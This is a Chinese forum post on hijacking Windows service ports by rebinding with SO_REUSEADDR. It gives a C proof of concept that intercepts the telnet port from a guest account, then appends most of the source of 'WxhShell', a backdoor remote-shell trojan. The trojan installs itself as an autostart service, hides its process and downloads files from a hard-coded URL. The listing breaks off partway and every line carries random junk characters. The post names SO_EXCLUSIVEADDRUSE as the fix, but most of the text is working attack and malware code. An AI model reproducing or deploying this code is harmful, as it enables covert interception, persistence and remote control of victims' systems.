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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z2V ->UK)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :Jyr^0`J  
>0SG]er@  
  saddr.sin_family = AF_INET; |34k;l]E  
2. nT k   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |m\7/&@<  
" :e <a?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w)<.v+u.Y  
=,*/Ph&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 15_"U+O(/  
@B0fRG y  
  这意味着什么?意味着可以进行如下的攻击: @8\0@[]  
v3[ZPc;;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ew]&~:$Ki  
LntRLB'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) d3a!s  
R[j'<gd.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 YP!}Bf  
F+G+XtOS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9/8+R%  
?ZTA3mV?+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 i= ^6nwD&  
_ l)3pm6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &iD&C>;pf  
6a9:P@tY  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }cUO+)!Y  
jKcl{',  
  #include }`Wo(E}O  
  #include >G1]#'6;  
  #include \|vo@E  
  #include    p}~Sgi  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ymrnu-p o  
  int main() ,4,Bc<  
  { F'wG%  
  WORD wVersionRequested; 9[~.{{Y  
  DWORD ret; OtAAzc!dQ  
  WSADATA wsaData; k{!9 f=^   
  BOOL val; [#aJ- Uu  
  SOCKADDR_IN saddr; \Dr( /n  
  SOCKADDR_IN scaddr; ,W 'P8C  
  int err; b$Ei>%'/";  
  SOCKET s; y:zNf?6&  
  SOCKET sc; c;KMox/  
  int caddsize; ,WsG,Q(K  
  HANDLE mt; 2I suBX\[  
  DWORD tid;   ?1|\(W#  
  wVersionRequested = MAKEWORD( 2, 2 ); 9h+T O_T@F  
  err = WSAStartup( wVersionRequested, &wsaData ); >BJBM |  
  if ( err != 0 ) { 'o= DGm2H  
  printf("error!WSAStartup failed!\n"); ',+Zqog92  
  return -1; ~mHrgxQ-  
  } !F ?j'[s8]  
  saddr.sin_family = AF_INET; r0f&n;0U4  
   y'6lfThT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |d\1xTBLp  
ME>Sh~C\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <D&  Ep  
  saddr.sin_port = htons(23); V~8]ag4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lRS'M,/  
  { %IIFLlD  
  printf("error!socket failed!\n"); iig4JP'h  
  return -1; _`*G71PS  
  } //3fgoly  
  val = TRUE; > B;YYj~f}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lwG)&qyVd  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) rw 2i_,.*~  
  { d=\TC'd"{  
  printf("error!setsockopt failed!\n"); :rk6Stn$z  
  return -1; 2.{zf r  
  } vytO8m%U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; kTzO4s?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wU/fGg*M2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `S3)uV]I  
QX a2qxTc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $WRRCB/A6  
  { %b h: c5  
  ret=GetLastError(); <Pf4[q&wM  
  printf("error!bind failed!\n"); O#!|2qN  
  return -1; [Tvdchl OC  
  } ~USyN'5lU7  
  listen(s,2); 0e:j=kd)NH  
  while(1) pL*aU=FjQ  
  { Wj)v,v2&  
  caddsize = sizeof(scaddr); (bpxj3@R  
  //接受连接请求 19[.&-u"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); mU[  
  if(sc!=INVALID_SOCKET) [Ak 0kH >  
  { XE0b9q954  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); re4z>O*  
  if(mt==NULL) U.Z5;E0:  
  { 0Bkc93  
  printf("Thread Creat Failed!\n"); ;B }4pv}  
  break; lN"@5(5%  
  } ?{L'd  
  } hq&9S{Ep  
  CloseHandle(mt); ww+,GnV  
  } A&ceuu  
  closesocket(s); EKuLt*a/  
  WSACleanup(); sw:a(o&$  
  return 0; =|fB":vk  
  }   6B b+f"  
  DWORD WINAPI ClientThread(LPVOID lpParam) SpIiMu(  
  { |g !$TUS.  
  SOCKET ss = (SOCKET)lpParam; Vvv;m5.  
  SOCKET sc; Ofb&W AD  
  unsigned char buf[4096]; 9B>P Qbs  
  SOCKADDR_IN saddr; }Q^*Zq9-  
  long num; 3:c6x kaw  
  DWORD val; cUw$F{|W  
  DWORD ret; V~-tp^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^%\MOjSN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %Yg|QBm|  
  saddr.sin_family = AF_INET; _Wp.s]D [  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); " w /Odd  
  saddr.sin_port = htons(23); 4,=;:#n,J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tp"eXA0n  
  { ! P$[$W  
  printf("error!socket failed!\n"); #*S.26P^4  
  return -1; #op0|:/N  
  } ?5% o-hB|  
  val = 100; m,5?|J=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lG[j,MDs  
  { qJ~fEX  
  ret = GetLastError(); Da)_OJYE  
  return -1; puh-\Q/P  
  } !@arPN$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )g^O'e=m  
  { pUu<0a^  
  ret = GetLastError(); jnM}N:v  
  return -1; _0ZBG(  
  } (7$BF~s:,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9@nd>B  
  { *vqUOh  
  printf("error!socket connect failed!\n"); l?xd3Z@7[  
  closesocket(sc); g^jTdrW/s  
  closesocket(ss); vr6YE;Rs  
  return -1; /z}b1m+  
  } =?\%E[j  
  while(1) `Hu2a]e9  
  { u2[L^]|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d+ [2Sm(7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ZC^NhgX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 PH^Gjm  
  num = recv(ss,buf,4096,0); _ib @<%  
  if(num>0) AW!A +?F6  
  send(sc,buf,num,0); Ue>{n{H"y  
  else if(num==0) #D ]CuSi  
  break; 6y^GMlsI  
  num = recv(sc,buf,4096,0); {lppv(U  
  if(num>0) Bob-qCBV  
  send(ss,buf,num,0); >4+KEK  
  else if(num==0) h$6~3^g:P  
  break; lO0}  
  } Jy('tfAHp  
  closesocket(ss); I_R6 M1  
  closesocket(sc); ;Z`R!  
  return 0 ; Pj!f^MN  
  } P%!=Rj^2m  
rrphOG  
LEX @hkh  
========================================================== vbG&F.P  
43O5|8o  
下边附上一个代码,,WXhSHELL i;juwc^n}  
ID{XZ  
========================================================== $++O@C5  
-]n%+,3L  
#include "stdafx.h" y(^\]-fE  
W|s" ;EAM  
#include <stdio.h> M7&G9SGZ  
#include <string.h> P>`|.@  
#include <windows.h> hR.vJ2oa  
#include <winsock2.h> 5/CF_v  
#include <winsvc.h> RU>qj *e  
#include <urlmon.h> @Q;s[Kg{!  
!*?9n ^PaF  
#pragma comment (lib, "Ws2_32.lib") @tJic|)x  
#pragma comment (lib, "urlmon.lib") O,NVhU7,  
8f65;lyN  
#define MAX_USER   100 // 最大客户端连接数 OF-VVIS  
#define BUF_SOCK   200 // sock buffer y3PrLBTz  
#define KEY_BUFF   255 // 输入 buffer {9^p3Q+:P  
,^DP  
#define REBOOT     0   // 重启 B^d di  
#define SHUTDOWN   1   // 关机 3Y&4yIx  
=([4pG  
#define DEF_PORT   5000 // 监听端口 *D9H3M[o#  
_,d<9 Y)  
#define REG_LEN     16   // 注册表键长度 &rl;+QS  
#define SVC_LEN     80   // NT服务名长度 VC% .u.< F  
$3%+N|L  
// 从dll定义API o-;/ x)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +F2X2e)g"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]M'~uTf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6}|h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "{Y6.)x  
_c5*9')-)  
// wxhshell配置信息 d9%P[(yM^  
struct WSCFG { ]e+&Pxw]e  
  int ws_port;         // 监听端口 XGjFb4Tw7  
  char ws_passstr[REG_LEN]; // 口令 {OOn7=  
  int ws_autoins;       // 安装标记, 1=yes 0=no v53|)]V  
  char ws_regname[REG_LEN]; // 注册表键名 ~03MH'  
  char ws_svcname[REG_LEN]; // 服务名 F!*GrQms  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w8 `1'*HG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k_Y7<z0G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 es=OWJt^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !_B*Po  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -*Th=B-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9QL%q; #  
 _-9cGm v  
}; 8%xBSob{j  
1-&L-c.  
// default Wxhshell configuration fc[_~I'  
struct WSCFG wscfg={DEF_PORT, j['B9vG  
    "xuhuanlingzhe", Z_ Y'#5o#  
    1, l\uNh~\  
    "Wxhshell", x($Djx  
    "Wxhshell", 18Ju]U  
            "WxhShell Service", y*v|q=  
    "Wrsky Windows CmdShell Service", Fmz+ Xb  
    "Please Input Your Password: ", 5K)_w:U X  
  1, /H3w7QU  
  "http://www.wrsky.com/wxhshell.exe", m4Ue)  
  "Wxhshell.exe" Ndgx@LTQQ  
    }; 9.il1mAKg  
 _+(@?  
// 消息定义模块 (oG.A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j-DWz>x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t V>qV\>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N]6t)Zv  
char *msg_ws_ext="\n\rExit."; -|>T? t'K  
char *msg_ws_end="\n\rQuit."; %~P T7"4  
char *msg_ws_boot="\n\rReboot..."; %H,s~IU  
char *msg_ws_poff="\n\rShutdown..."; D{[{&1\)r  
char *msg_ws_down="\n\rSave to "; ?,8+1"|$A]  
XrWWV2[  
char *msg_ws_err="\n\rErr!"; rPqM&&+  
char *msg_ws_ok="\n\rOK!"; a(D=ZKbVU  
$$"G1<EZ  
char ExeFile[MAX_PATH]; +%u3% }  
int nUser = 0; p8?v o ?^  
HANDLE handles[MAX_USER]; >}W[>WReI  
int OsIsNt; HXztEEK6  
=  
SERVICE_STATUS       serviceStatus; J_-fs#[x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vLyazVj..  
B&0 W P5OF  
// 函数声明 %~gI+0HK  
int Install(void); <V Rb   
int Uninstall(void); .>P:{''  
int DownloadFile(char *sURL, SOCKET wsh); QG2 Zh9R  
int Boot(int flag); ^NRf  
void HideProc(void); D} j`T  
int GetOsVer(void); cC+2%q B  
int Wxhshell(SOCKET wsl); j0V/\Ep)T<  
void TalkWithClient(void *cs);  Pd(_  
int CmdShell(SOCKET sock); tMp! MQ  
int StartFromService(void); 7')W+`o8eL  
int StartWxhshell(LPSTR lpCmdLine); ,]W|"NUI  
G -+!h4p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "k{so',7z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5gqs"trF  
TsGx2[  
// 数据结构和表定义 |D%mWQng  
SERVICE_TABLE_ENTRY DispatchTable[] = K7K/P{@9[9  
{ u *rP 8GuS  
{wscfg.ws_svcname, NTServiceMain}, '[%#70*  
{NULL, NULL} P)J-'2{  
}; 't0M+_J  
+@?'dw  
// 自我安装 uLWu. Vx  
int Install(void) .kn2M&P>=  
{ y$SUYG'v  
  char svExeFile[MAX_PATH]; |5O>7~Tp  
  HKEY key; o ]z#~^w  
  strcpy(svExeFile,ExeFile); }u=Oi@~  
^2+ Vt=*  
// 如果是win9x系统,修改注册表设为自启动 .9PT)^2  
if(!OsIsNt) { ) ba~7A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lv'WRS'}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '?L^Fa_H  
  RegCloseKey(key); Q{L:pce-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l:uQ#Z)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V K 7  
  RegCloseKey(key); ^879sI  
  return 0; WKlyOK=}  
    } ZDgT"53   
  } ?4Rd4sIM$u  
} V|$PO Qa3  
else { 6[c|14l  
!]82$  
// 如果是NT以上系统,安装为系统服务 |D"L!+J-$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #?jsC)  
if (schSCManager!=0) )H{1 Xjh-  
{ tHZ"o!(S  
  SC_HANDLE schService = CreateService Zr2!}jD9a  
  ( L\:m)g,F.  
  schSCManager, Ez5t)l-  
  wscfg.ws_svcname, iae NY;T  
  wscfg.ws_svcdisp, D5snaGss9a  
  SERVICE_ALL_ACCESS, '5De1K.\`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,6X;YY  
  SERVICE_AUTO_START, h-?yed*?  
  SERVICE_ERROR_NORMAL, Ohp@ZJ!a?  
  svExeFile, ,}gJY^X+  
  NULL, 6&ut r!\7  
  NULL, 5)lcgvp  
  NULL, 1p$(\  
  NULL, "8ellKh  
  NULL kaB|+U9^  
  ); o /[7Vo  
  if (schService!=0) C9sU^ ]#F  
  { Vb\g49\o/  
  CloseServiceHandle(schService); 2a eH^:u  
  CloseServiceHandle(schSCManager); 3WGET[3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $S|+U}]C  
  strcat(svExeFile,wscfg.ws_svcname); :VZS7$5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~io.TS|r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [Tp?u8$p`  
  RegCloseKey(key); Zja3HGL  
  return 0; Af]zv~uM  
    } }3X/"2SW^  
  } n-cI~Ax+4  
  CloseServiceHandle(schSCManager); O& Sk}^  
} $jE<n/8  
} E OXkMr  
<KU 0K  
return 1; Mh-"B([Z  
} Sl, DZ!  
jc Mn   
// 自我卸载 o?>0WSLlm  
int Uninstall(void) ]$r]GVeN}H  
{ #xGP|:m  
  HKEY key; j;]I -M[  
vHcl7=)Q  
if(!OsIsNt) { 6dr 'nP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \EVT*v=}/  
  RegDeleteValue(key,wscfg.ws_regname); Y $v#>w_M  
  RegCloseKey(key); jeRE(3'Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p7;K] AW  
  RegDeleteValue(key,wscfg.ws_regname); @gK`RmhGE5  
  RegCloseKey(key); @M4c/k}  
  return 0; K}re{y  
  } |kPgXq6  
} JR.)CzC  
} -(:T&rfTp  
else { z@~H{glo  
A&t8C8,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `+n#CWZ"Y  
if (schSCManager!=0) Yu_*P-Ja6  
{ <1*.:CL"s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \#:  W  
  if (schService!=0) *eIX"&ba  
  { ~ O#\$u  
  if(DeleteService(schService)!=0) { SQ4^sk_!  
  CloseServiceHandle(schService); z:f&k}(  
  CloseServiceHandle(schSCManager); L{%L*z9J  
  return 0; ,5;M(ft#  
  } %u66H2  
  CloseServiceHandle(schService); uD=Kar  
  } yC\UT ~j/  
  CloseServiceHandle(schSCManager); t;w<n"  
} Eb4NPWo  
} ";rXCH.  
|> STb\  
return 1; 94#,dA,M  
} ~F'6k&A^q  
~Yk^(hl2  
// 从指定url下载文件 x;u#ec4  
int DownloadFile(char *sURL, SOCKET wsh) r4SwvxhG  
{ N)g_LL>^  
  HRESULT hr; $J4\jIipL  
char seps[]= "/"; w gS'/  
char *token; z Fm`e:td  
char *file; uE')<fVX(  
char myURL[MAX_PATH]; _F6<ba}o3  
char myFILE[MAX_PATH]; {TNORbZz  
e7;7TrB.  
strcpy(myURL,sURL); d9v66mpJM  
  token=strtok(myURL,seps); <?7qI85OT  
  while(token!=NULL) IsI5c  
  { yHw @Z  
    file=token; m)p|NdTZc8  
  token=strtok(NULL,seps); (dSYb&]  
  } )\u%XFPhS  
y7F |v8bq  
GetCurrentDirectory(MAX_PATH,myFILE); 90W= v*  
strcat(myFILE, "\\"); }[JB%  
strcat(myFILE, file); D8L5t<^1R  
  send(wsh,myFILE,strlen(myFILE),0); D2&d",%&f  
send(wsh,"...",3,0); Y bJg{Sb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CjpGo}a/  
  if(hr==S_OK) #G]IEO$M6  
return 0; 5eff3qrH{  
else BC.3U.  
return 1; p"%D/-%Gu  
qBBCnT  
} g8MW6Y  
u:pOP  
// 系统电源模块 m* _X PY  
int Boot(int flag) rk1,LsZVS  
{ #E!^oZm<Z  
  HANDLE hToken; #b[bgxm  
  TOKEN_PRIVILEGES tkp; ,.9lz  
VNWB$mM.2  
  if(OsIsNt) { ~ q-Z-MA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C7{VByxJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SDC|>e9i  
    tkp.PrivilegeCount = 1; t7-]OY7%w_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jI\@<6O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _ZhQY,  
if(flag==REBOOT) { 5]Rbzg2t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) akyMW7'3V<  
  return 0; bp9RF d{  
} f9u=h}  
else { *zPqXtw!j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o664b$5nsI  
  return 0; :%sBY0 yF  
} gf8o~vKX$G  
  } %evb.h)  
  else { aNu.4c/5  
if(flag==REBOOT) { b69nj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 06Wqfzceb  
  return 0; $4g {4-)  
} o^2MfFS  
else { aDRcVA$*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x[{\Aw>$.  
  return 0; V_~lME  
} Jd7chIK  
} Nksm&{=6S  
]6Iu\,#J  
return 1; ,VVA^'+  
} hb; CpA  
myfTz tJ  
// win9x进程隐藏模块 6{.U7="  
void HideProc(void) (y]Z*p:EW  
{ L@H^?1*L?  
_\\Al v.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;iiCay37F  
  if ( hKernel != NULL ) h_4*?w  
  { p48enH8CO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q3#[6!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ExtC\(X;  
    FreeLibrary(hKernel); GrG'G(NQ  
  } gV.?Myy  
^o5;><S]  
return; rB".!b  
} 1+*sEIC"  
i+O7,"(@  
// 获取操作系统版本  'l5  
int GetOsVer(void) &6 s&nx  
{ )$S=iL8(  
  OSVERSIONINFO winfo; ![B|Nxq}@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rNV3-#kU  
  GetVersionEx(&winfo); 5c::U=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) < ?B3^z$  
  return 1; hdw.S`~}%  
  else #l}Fk)dj  
  return 0; l jK?2z>  
} `]W9Fj<1j  
"Y<;R+z  
// 客户端句柄模块 Q8`V0E\~  
int Wxhshell(SOCKET wsl) %}TJr]'F  
{ "B: FSWM_-  
  SOCKET wsh; rEWJ3*Hb  
  struct sockaddr_in client; "yQBHYP  
  DWORD myID; B<EqzP*#  
 ]+Whv%M  
  while(nUser<MAX_USER) ~!Sd|e:4  
{ 2*75*EQCH  
  int nSize=sizeof(client); *>W<n1r@]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7T[$BrO\  
  if(wsh==INVALID_SOCKET) return 1; nPvys~D  
mBwz.KEm<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8D)1ZUx7`  
if(handles[nUser]==0) 2J t{oh|  
  closesocket(wsh); By@65KmR"  
else 3=n6N TL  
  nUser++; V$hL\`e  
  } \ Ki3ls  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ac U@H0  
15jQ87)  
  return 0; ]^"Lc~w8&  
} }Ecv6&G  
K*5gb^Ul  
// 关闭 socket h.K"v5I*  
void CloseIt(SOCKET wsh) Ew0)MZ.#  
{ uEb:uENk'(  
closesocket(wsh); V7U*09 0*5  
nUser--; goiI* " 6M  
ExitThread(0); 'sI ne>  
} 8WV5'cX  
L[2N zw O  
// 客户端请求句柄 w` +,  
void TalkWithClient(void *cs) +H&/C1u  
{ [c=W p  
c!\T 0XtT  
  SOCKET wsh=(SOCKET)cs; 3?j: M]fR  
  char pwd[SVC_LEN]; a%c <3'  
  char cmd[KEY_BUFF]; ^^}htg  
char chr[1]; X% 05[N  
int i,j; <J%Z?3@ T  
Kkq-x'gt^  
  while (nUser < MAX_USER) { Y$v d@Q  
XdA]);,  
if(wscfg.ws_passstr) { I<RARB-j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]CNPy$>*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y}BP ]#1  
  //ZeroMemory(pwd,KEY_BUFF); xKE=$SV(  
      i=0; !B Pm{_C  
  while(i<SVC_LEN) { :2xGfy??  
i45.2,  
  // 设置超时 \\ItN  
  fd_set FdRead; * ;sz/.  
  struct timeval TimeOut; 6rbR0dSgx  
  FD_ZERO(&FdRead); %pjY^tM/  
  FD_SET(wsh,&FdRead); @ ,oc%m  
  TimeOut.tv_sec=8; dCM &Yf}K  
  TimeOut.tv_usec=0; ]R\L~Kr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 95IP_1}?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N<SW $ o  
=XQGg`8<LB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {wM<i  
  pwd=chr[0]; XE_Lz2H`  
  if(chr[0]==0xd || chr[0]==0xa) { EXeV @kg  
  pwd=0; yg8= G vO  
  break; 9~=zD9,|iA  
  } %0y-f  
  i++; Lbo3fwW  
    } 07>m*1G  
iC hIW/H  
  // 如果是非法用户,关闭 socket wg[ +NWJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L *\[;.mk  
} 9j^rFG!n  
CC^]Y.9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C+t3a@&|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K?,? .!ev  
\y271}'  
while(1) { Jq)k5X>&Sj  
*J^FV^E``  
  ZeroMemory(cmd,KEY_BUFF); 3}V (8  
<;#gcF[7>  
      // 自动支持客户端 telnet标准   Qa/1*Mb  
  j=0; Da)p%E>Q  
  while(j<KEY_BUFF) { -flcB|I`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f {2UL ?y  
  cmd[j]=chr[0]; +a,#BSt  
  if(chr[0]==0xa || chr[0]==0xd) { dpE^BWv3  
  cmd[j]=0; 7R[7M%H  
  break; qPz_PRje  
  } qGN> a[D  
  j++; *>?N>f"  
    } 4P?`<K'  
8>j&) @q  
  // 下载文件 oMAUR "  
  if(strstr(cmd,"http://")) { 6@lZVM)E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VTR4uT-  
  if(DownloadFile(cmd,wsh)) v(0ujfSR0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); au19Q*r9  
  else G[ns^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c/.s`hz  
  } =#4>c8MM  
  else { %x,HQNRDU  
1O,5bi>t7  
    switch(cmd[0]) { 4E=QO!pVv  
  Chl^LEN:  
  // 帮助 dY. X/f  
  case '?': { eN5F@isy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VWt=9D;  
    break; |g \ _xl  
  } \kV|S=~@  
  // 安装 #l+Rs3T:  
  case 'i': { AW \uE[kg  
    if(Install()) 2sgp$r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lAG@nh^  
    else wvisu\V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @$kzes\  
    break; a5m[ N'kah  
    } QsPg4y3?D  
  // 卸载 kLF3s#k  
  case 'r': { -4Dz9 8du  
    if(Uninstall()) s\~j,$Mm2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .KG9YGL#  
    else D&K9!z"]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nF]E":  
    break; %OHWGac"i  
    } c1i[1x%  
  // 显示 wxhshell 所在路径 ?z|Bf@TJ[+  
  case 'p': { x ]}'H  
    char svExeFile[MAX_PATH]; uj\&-9gEi  
    strcpy(svExeFile,"\n\r"); 4VvE(f  
      strcat(svExeFile,ExeFile); Y5ei:r|^  
        send(wsh,svExeFile,strlen(svExeFile),0); cGo_qR/B(>  
    break; 0FL'8!e<  
    } _d7;Z%  
  // 重启 v1+.-hO  
  case 'b': { h8M_Uk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9 4bDJy1  
    if(Boot(REBOOT)) 1NZpd'$c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %AqI'ObC  
    else { O%bltNEx1  
    closesocket(wsh); NMg(tmh  
    ExitThread(0); nfZe"|d  
    } ^h=gaNL  
    break; ;B2&#kot7  
    } rFt +Y})  
  // 关机 gkTwGI+w  
  case 'd': { -;6uN\gq  
